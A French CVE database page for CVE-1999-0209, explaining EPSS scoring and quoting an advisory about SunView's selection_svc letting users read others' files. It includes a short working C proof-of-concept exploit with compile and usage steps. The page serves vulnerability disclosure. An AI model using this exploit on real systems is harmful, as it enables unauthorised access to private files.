CVE-1999-0209 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Source: https://www.securityfocus.com/bid/8/info On Sun3 and Sun4 systems, a remote system can read any file that is readable to the user running SunView. On the 386i, a remote system can read any file on the workstation running SunView regardless of protections. Note that if root runs Sunview, all files are potentially accessible by a remote system. Sunview does not kill the selection_svc process when the user quits from Sunview. Thus, unless the process is killed, remote systems can still read files that were readable to the last user that ran Sunview. Under these circumstances, once a user has run Sunview, start using another window system (such as X11), or even logoff, but still have files accessible to remote systems. /* SELN_HOLD_FILE * For use where someone has a selection_svc runnning as them, after an * invocation of suntools: * * % cat their_private_file * their_private_file: Permission denied * % cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow * % ./seln_hold_file their_private_file * % get_selection 2 * < contents of their_private_file > * % */ #include <stdio.h> #include <sys/types.h> #include <suntool/seln.h> main(argc, argv) int argc; char *argv[]; { Seln_result ret; if (argc != 2) { (void) fprintf(stderr, "usage: seln_grab file1\n"); exit(1); } ret = seln_hold_file(SELN_SECONDARY, argv[1]); seln_dump_result(stdout, &ret); printf("\n"); } /* * Local variables: * compile-command: "cc -sun3 -Bstatic -o seln_hold_file seln_hold_file.c -lsun tool -lsunwindow" * end: * * Static required because _mem_ops not included in ld.so */
